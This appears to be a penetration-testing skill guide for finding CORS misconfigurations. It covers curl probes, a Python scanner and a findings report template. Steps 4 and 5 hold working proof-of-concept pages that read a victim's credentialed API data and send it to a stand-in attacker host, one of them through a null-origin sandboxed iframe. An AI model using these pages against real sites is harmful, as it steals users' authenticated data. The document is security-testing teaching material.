npx skills add mukul975/Anthropic-Cybersecurity-SkillsMITRE ATT&CK
When to Use
- During authorized penetration tests when assessing API endpoints for cross-origin access controls
- When testing single-page applications that make cross-origin API requests
- For evaluating whether sensitive data can be exfiltrated from a victim's browser session
- When assessing microservice architectures with multiple domains sharing data
- During security audits of applications using CORS headers for cross-domain communication
Prerequisites
- Authorization: Written penetration testing agreement for the target
- Burp Suite Professional: For intercepting and modifying Origin headers
- Browser with DevTools: For observing CORS behavior in real browser context
- Attacker web server: For hosting CORS exploitation PoC pages
- curl: For manual CORS header testing
- Python HTTP server: For hosting exploit pages locally
Workflow
Step 1: Identify CORS Configuration on Target Endpoints
Check all API endpoints for CORS response headers.
# Test with a foreign Origin header
curl -s -I \
-H "Origin: https://evil.example.com" \
"https://api.target.example.com/api/user/profile"
# Check for CORS headers in response:
# Access-Control-Allow-Origin: https://evil.example.com (BAD: reflects any origin)
# Access-Control-Allow-Origin: * (BAD if with credentials)
# Access-Control-Allow-Credentials: true (allows cookies)
# Access-Control-Allow-Methods: GET, POST, PUT, DELETE
# Access-Control-Allow-Headers: Authorization, Content-Type
# Access-Control-Expose-Headers: X-Custom-Header
# Test multiple endpoints
for endpoint in /api/user/profile /api/user/settings /api/transactions \
/api/admin/users /api/account/balance; do
echo "=== $endpoint ==="
curl -s -I \
-H "Origin: https://evil.example.com" \
"https://api.target.example.com$endpoint" | \
grep -i "access-control"
echo
doneStep 2: Test Origin Reflection and Validation Bypass
Determine how the server validates the Origin header.
# Test 1: Arbitrary origin reflection
curl -s -I -H "Origin: https://evil.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 2: Null origin
curl -s -I -H "Origin: null" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 3: Subdomain matching bypass
curl -s -I -H "Origin: https://evil.target.example.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 4: Prefix/suffix matching bypass
curl -s -I -H "Origin: https://target.example.com.evil.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
curl -s -I -H "Origin: https://eviltarget.example.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 5: Protocol downgrade
curl -s -I -H "Origin: http://target.example.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 6: Special characters in origin
curl -s -I -H "Origin: https://target.example.com%60.evil.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 7: Wildcard with credentials check
curl -s -I -H "Origin: https://evil.com" \
"https://api.target.example.com/api/public" | grep -iE "access-control-allow-(origin|credentials)"
# Wildcard (*) + credentials (true) is invalid per spec but some servers misconfigureStep 3: Test Preflight Request Handling
Assess how the server handles OPTIONS preflight requests.
# Send preflight request
curl -s -I -X OPTIONS \
-H "Origin: https://evil.example.com" \
-H "Access-Control-Request-Method: PUT" \
-H "Access-Control-Request-Headers: Authorization, Content-Type" \
"https://api.target.example.com/api/user/profile"
# Check:
# Access-Control-Allow-Methods: should only list needed methods
# Access-Control-Allow-Headers: should only list needed headers
# Access-Control-Max-Age: preflight cache duration (long = risky)
# Test if dangerous methods are allowed
curl -s -I -X OPTIONS \
-H "Origin: https://evil.example.com" \
-H "Access-Control-Request-Method: DELETE" \
"https://api.target.example.com/api/user/profile" | \
grep -i "access-control-allow-methods"
# Test if preflight is cached too long
curl -s -I -X OPTIONS \
-H "Origin: https://evil.example.com" \
-H "Access-Control-Request-Method: GET" \
"https://api.target.example.com/api/user/profile" | \
grep -i "access-control-max-age"
# max-age > 86400 (1 day) allows prolonged abuse after policy changeStep 4: Craft CORS Exploitation Proof of Concept
Build an HTML page that exploits the CORS misconfiguration to steal data.
<!-- cors-exploit.html - Host on attacker server -->
<html>
<head><title>CORS PoC</title></head>
<body>
<h1>CORS Exploitation Proof of Concept</h1>
<div id="result"></div>
<script>
// Exploit: Read victim's profile data cross-origin
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
// Data successfully stolen cross-origin
document.getElementById('result').innerText = xhr.responseText;
// Exfiltrate to attacker server
var exfil = new XMLHttpRequest();
exfil.open('POST', 'https://attacker.example.com/collect', true);
exfil.setRequestHeader('Content-Type', 'application/json');
exfil.send(xhr.responseText);
}
};
xhr.open('GET', 'https://api.target.example.com/api/user/profile', true);
xhr.withCredentials = true; // Include victim's cookies
xhr.send();
</script>
</body>
</html><!-- Exploit using fetch API -->
<script>
fetch('https://api.target.example.com/api/user/profile', {
credentials: 'include'
})
.then(response => response.json())
.then(data => {
// Steal sensitive data
fetch('https://attacker.example.com/collect', {
method: 'POST',
body: JSON.stringify(data)
});
console.log('Stolen data:', data);
});
</script>Step 5: Exploit Null Origin Vulnerability
If Origin: null is allowed, exploit via sandboxed iframes.
<!-- null-origin-exploit.html -->
<html>
<body>
<h1>Null Origin CORS Exploit</h1>
<!--
Sandboxed iframe sends requests with Origin: null
If server reflects Access-Control-Allow-Origin: null with credentials,
data can be exfiltrated
-->
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="
<script>
var xhr = new XMLHttpRequest();
xhr.onload = function() {
// Send stolen data to parent or attacker server
fetch('https://attacker.example.com/collect', {
method: 'POST',
body: xhr.responseText
});
};
xhr.open('GET', 'https://api.target.example.com/api/user/profile');
xhr.withCredentials = true;
xhr.send();
</script>
"></iframe>
</body>
</html>
<!-- Alternative: data: URI for null origin -->
<!-- Open in browser: data:text/html,<script>...</script> -->Step 6: Test for Internal Network Access via CORS
Check if CORS allows access from internal origins that could be leveraged via XSS.
# Test internal/development origins
INTERNAL_ORIGINS=(
"http://localhost"
"http://localhost:3000"
"http://localhost:8080"
"http://127.0.0.1"
"http://192.168.1.1"
"http://10.0.0.1"
"https://staging.target.example.com"
"https://dev.target.example.com"
"https://test.target.example.com"
)
for origin in "${INTERNAL_ORIGINS[@]}"; do
echo -n "$origin: "
curl -s -I -H "Origin: $origin" \
"https://api.target.example.com/api/user/profile" | \
grep -i "access-control-allow-origin" | tr -d '\r'
echo
done
# If internal origins are allowed and have XSS:
# 1. Find XSS on http://subdomain.target.example.com
# 2. Use XSS to make CORS request to api.target.example.com
# 3. Exfiltrate data via the XSS + CORS chainKey Concepts
| Concept | Description |
|---|---|
| Same-Origin Policy | Browser security model preventing scripts from one origin accessing data from another |
| CORS | Mechanism allowing servers to specify which origins can access their resources |
| Origin Reflection | Server mirrors the request Origin header in the ACAO response header (dangerous) |
| Null Origin | Special origin value from sandboxed iframes, data URIs, and redirects |
| Preflight Request | OPTIONS request sent before certain cross-origin requests to check permissions |
| Credentialed Requests | Cross-origin requests that include cookies, requiring explicit ACAO + ACAC headers |
| Wildcard CORS | Access-Control-Allow-Origin: * allows any origin but prohibits credentials |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite Professional | Intercepting requests and modifying Origin headers |
| CORScanner | Automated CORS misconfiguration scanner (pip install corscanner) |
| cors-scanner | Node.js-based CORS testing tool |
| Browser DevTools | Monitoring CORS errors and network requests in real browser context |
| Python http.server | Hosting CORS exploit PoC pages |
| OWASP ZAP | Automated CORS misconfiguration detection |
Common Scenarios
Scenario 1: Full Origin Reflection
The API reflects any Origin header in Access-Control-Allow-Origin with Access-Control-Allow-Credentials: true. Any website can read authenticated API responses, stealing user data.
Scenario 2: Null Origin Allowed
The server allows Origin: null with credentials. Using a sandboxed iframe, an attacker page sends credentialed requests to the API and reads the response data.
Scenario 3: Subdomain Wildcard Trust
The CORS policy allows *.target.example.com. An attacker finds XSS on forum.target.example.com and uses it to make cross-origin requests to api.target.example.com, stealing user data through the trusted subdomain.
Scenario 4: Regex Bypass on Origin Validation
The server uses regex target\.example\.com to validate origins, but fails to anchor the regex. attackertarget.example.com matches and is allowed access.
Output Format
## CORS Misconfiguration Finding
**Vulnerability**: CORS Origin Reflection with Credentials
**Severity**: High (CVSS 8.1)
**Location**: All /api/* endpoints on api.target.example.com
**OWASP Category**: A01:2021 - Broken Access Control
### CORS Configuration Observed
| Header | Value |
|--------|-------|
| Access-Control-Allow-Origin | [Reflects request Origin] |
| Access-Control-Allow-Credentials | true |
| Access-Control-Allow-Methods | GET, POST, PUT, DELETE |
| Access-Control-Expose-Headers | X-Auth-Token |
### Origin Validation Results
| Origin Tested | Reflected | Credentials |
|---------------|-----------|-------------|
| https://evil.com | Yes | Yes |
| null | Yes | Yes |
| http://localhost | Yes | Yes |
| https://evil.target.example.com | Yes | Yes |
### Impact
- Any website can read authenticated API responses in victim's browser
- User profile data (email, phone, address) exfiltrable
- Session tokens exposed via X-Auth-Token header
- CSRF protection bypassed (attacker can read and submit anti-CSRF tokens)
### Recommendation
1. Implement a strict allowlist of trusted origins
2. Never reflect arbitrary Origin values in Access-Control-Allow-Origin
3. Do not allow Origin: null with credentials
4. Validate origins with exact string matching, not regex substring matching
5. Set Access-Control-Max-Age to a reasonable value (600 seconds)References and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 1
api-reference.md2.1 KB
API Reference: Testing CORS Misconfiguration
requests Library
Key Methods for CORS Testing
# Test origin reflection
resp = requests.get(url, headers={"Origin": "https://evil.com"})
# Test preflight
resp = requests.options(url, headers={
"Origin": "https://evil.com",
"Access-Control-Request-Method": "PUT",
"Access-Control-Request-Headers": "Authorization"
})CORS Response Headers
| Header | Description |
|---|---|
Access-Control-Allow-Origin |
Specifies allowed origin(s) |
Access-Control-Allow-Credentials |
Whether cookies/auth headers are sent |
Access-Control-Allow-Methods |
Allowed HTTP methods for cross-origin |
Access-Control-Allow-Headers |
Allowed request headers |
Access-Control-Expose-Headers |
Headers accessible to JavaScript |
Access-Control-Max-Age |
Preflight cache duration in seconds |
Vulnerability Patterns
| Pattern | Severity | Description |
|---|---|---|
| Origin reflection + credentials | Critical | Any site can read authenticated responses |
| Null origin + credentials | High | Exploitable via sandboxed iframes |
| Wildcard + credentials | Critical | Invalid but sometimes misconfigured |
| Subdomain wildcard trust | Medium | XSS on subdomain enables CORS abuse |
| Regex bypass | High | Prefix/suffix matching allows attacker domains |
| Internal origins trusted | Medium | localhost/10.x accepted in production |
Testing Checklist
- Send
Origin: https://evil.com- check if reflected in ACAO - Send
Origin: null- check if null is accepted - Test subdomain variations of target domain
- Test prefix/suffix bypass:
target.com.evil.com - Test protocol downgrade:
http://instead ofhttps:// - Check preflight Max-Age (>86400 is excessive)
- Verify wildcard
*is not combined with credentials
References
- MDN CORS: https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS
- PortSwigger CORS: https://portswigger.net/web-security/cors
- OWASP CORS Testing: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/07-Testing_Cross_Origin_Resource_Sharing
Scripts 1
agent.py8.6 KB
#!/usr/bin/env python3
"""Agent for testing CORS misconfiguration vulnerabilities during authorized assessments."""
import os
import requests
import json
import argparse
import urllib3
from datetime import datetime
from urllib.parse import urlparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
EVIL_ORIGINS = [
"https://evil.com",
"null",
"http://localhost",
"http://localhost:3000",
"http://127.0.0.1",
]
def build_dynamic_origins(target_domain):
"""Generate domain-specific bypass origins for testing."""
return [
f"https://evil.{target_domain}",
f"https://{target_domain}.evil.com",
f"https://evil{target_domain}",
f"http://{target_domain}",
f"https://sub.{target_domain}",
]
def test_origin_reflection(url, origins, cookies=None):
"""Test if server reflects arbitrary Origin headers."""
print(f"\n[*] Testing origin reflection on {url}")
findings = []
for origin in origins:
try:
headers = {"Origin": origin}
resp = requests.get(url, headers=headers, cookies=cookies,
timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments
acao = resp.headers.get("Access-Control-Allow-Origin", "")
acac = resp.headers.get("Access-Control-Allow-Credentials", "")
if acao and acao != "":
reflected = acao == origin
creds = acac.lower() == "true"
severity = "CRITICAL" if reflected and creds else (
"HIGH" if reflected else "INFO")
if reflected:
findings.append({
"url": url, "origin": origin, "acao": acao,
"credentials": creds, "severity": severity,
})
cred_str = " + credentials" if creds else ""
print(f" [{'!' if severity != 'INFO' else '+'}] Origin '{origin}' -> "
f"ACAO: {acao}{cred_str} [{severity}]")
except requests.RequestException:
continue
return findings
def test_preflight(url, origin="https://evil.com"):
"""Test OPTIONS preflight request handling."""
print(f"\n[*] Testing preflight (OPTIONS) on {url}")
findings = []
methods_to_test = ["GET", "POST", "PUT", "DELETE", "PATCH"]
for method in methods_to_test:
try:
headers = {
"Origin": origin,
"Access-Control-Request-Method": method,
"Access-Control-Request-Headers": "Authorization, Content-Type",
}
resp = requests.options(url, headers=headers, timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments
acam = resp.headers.get("Access-Control-Allow-Methods", "")
acah = resp.headers.get("Access-Control-Allow-Headers", "")
max_age = resp.headers.get("Access-Control-Max-Age", "")
if method in acam:
print(f" [+] {method} allowed in preflight")
if max_age and int(max_age) > 86400:
findings.append({
"url": url, "issue": "excessive_max_age",
"max_age": max_age, "severity": "MEDIUM",
})
print(f" [!] Max-Age too long: {max_age}s (>86400)")
except requests.RequestException:
continue
return findings
def test_wildcard_with_credentials(url):
"""Test for wildcard CORS with credentials (invalid but sometimes misconfigured)."""
print(f"\n[*] Testing wildcard + credentials on {url}")
try:
resp = requests.get(url, headers={"Origin": "https://any.com"},
timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments
acao = resp.headers.get("Access-Control-Allow-Origin", "")
acac = resp.headers.get("Access-Control-Allow-Credentials", "")
if acao == "*" and acac.lower() == "true":
print(f" [!] CRITICAL: Wildcard (*) with credentials=true")
return [{"url": url, "issue": "wildcard_with_credentials", "severity": "CRITICAL"}]
elif acao == "*":
print(f" [+] Wildcard (*) without credentials (acceptable for public APIs)")
except requests.RequestException:
pass
return []
def test_null_origin(url, cookies=None):
"""Test if null Origin is accepted (exploitable via sandboxed iframes)."""
print(f"\n[*] Testing null origin on {url}")
try:
resp = requests.get(url, headers={"Origin": "null"}, cookies=cookies,
timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments
acao = resp.headers.get("Access-Control-Allow-Origin", "")
acac = resp.headers.get("Access-Control-Allow-Credentials", "")
if acao == "null":
creds = acac.lower() == "true"
severity = "HIGH" if creds else "MEDIUM"
print(f" [!] Null origin accepted (credentials: {creds}) [{severity}]")
return [{"url": url, "issue": "null_origin_accepted",
"credentials": creds, "severity": severity}]
else:
print(f" [+] Null origin not reflected")
except requests.RequestException:
pass
return []
def test_internal_origins(url, cookies=None):
"""Test if internal/development origins are trusted."""
print(f"\n[*] Testing internal origins on {url}")
internal = [
"http://localhost", "http://localhost:3000", "http://localhost:8080",
"http://127.0.0.1", "http://10.0.0.1", "http://192.168.1.1",
]
findings = []
for origin in internal:
try:
resp = requests.get(url, headers={"Origin": origin}, cookies=cookies,
timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments
acao = resp.headers.get("Access-Control-Allow-Origin", "")
if acao == origin:
findings.append({"url": url, "origin": origin, "severity": "MEDIUM"})
print(f" [!] Internal origin accepted: {origin}")
except requests.RequestException:
continue
return findings
def scan_endpoints(base_url, endpoints, token=None):
"""Scan multiple endpoints for CORS issues."""
all_findings = []
cookies = None
headers_auth = {"Authorization": f"Bearer {token}"} if token else {}
domain = urlparse(base_url).netloc
dynamic_origins = build_dynamic_origins(domain)
test_origins = EVIL_ORIGINS + dynamic_origins
for endpoint in endpoints:
url = f"{base_url.rstrip('/')}/{endpoint.lstrip('/')}"
all_findings.extend(test_origin_reflection(url, test_origins))
all_findings.extend(test_null_origin(url))
all_findings.extend(test_wildcard_with_credentials(url))
all_findings.extend(test_preflight(url))
all_findings.extend(test_internal_origins(url))
return all_findings
def generate_report(findings, output_path):
"""Generate CORS misconfiguration assessment report."""
report = {
"assessment_date": datetime.now().isoformat(),
"total_findings": len(findings),
"by_severity": {},
"findings": findings,
}
for f in findings:
sev = f.get("severity", "INFO")
report["by_severity"][sev] = report["by_severity"].get(sev, 0) + 1
with open(output_path, "w") as fh:
json.dump(report, fh, indent=2)
print(f"\n[*] Report saved to {output_path}")
for sev, count in report["by_severity"].items():
print(f" {sev}: {count}")
def main():
parser = argparse.ArgumentParser(description="CORS Misconfiguration Testing Agent")
parser.add_argument("base_url", help="Base URL of the target")
parser.add_argument("--endpoints", nargs="+",
default=["/api/user/profile", "/api/users", "/api/account"])
parser.add_argument("--token", help="Bearer token for authenticated testing")
parser.add_argument("-o", "--output", default="cors_report.json")
args = parser.parse_args()
print(f"[*] CORS Misconfiguration Assessment")
print(f"[*] Target: {args.base_url}")
findings = scan_endpoints(args.base_url, args.endpoints, args.token)
generate_report(findings, args.output)
if __name__ == "__main__":
main()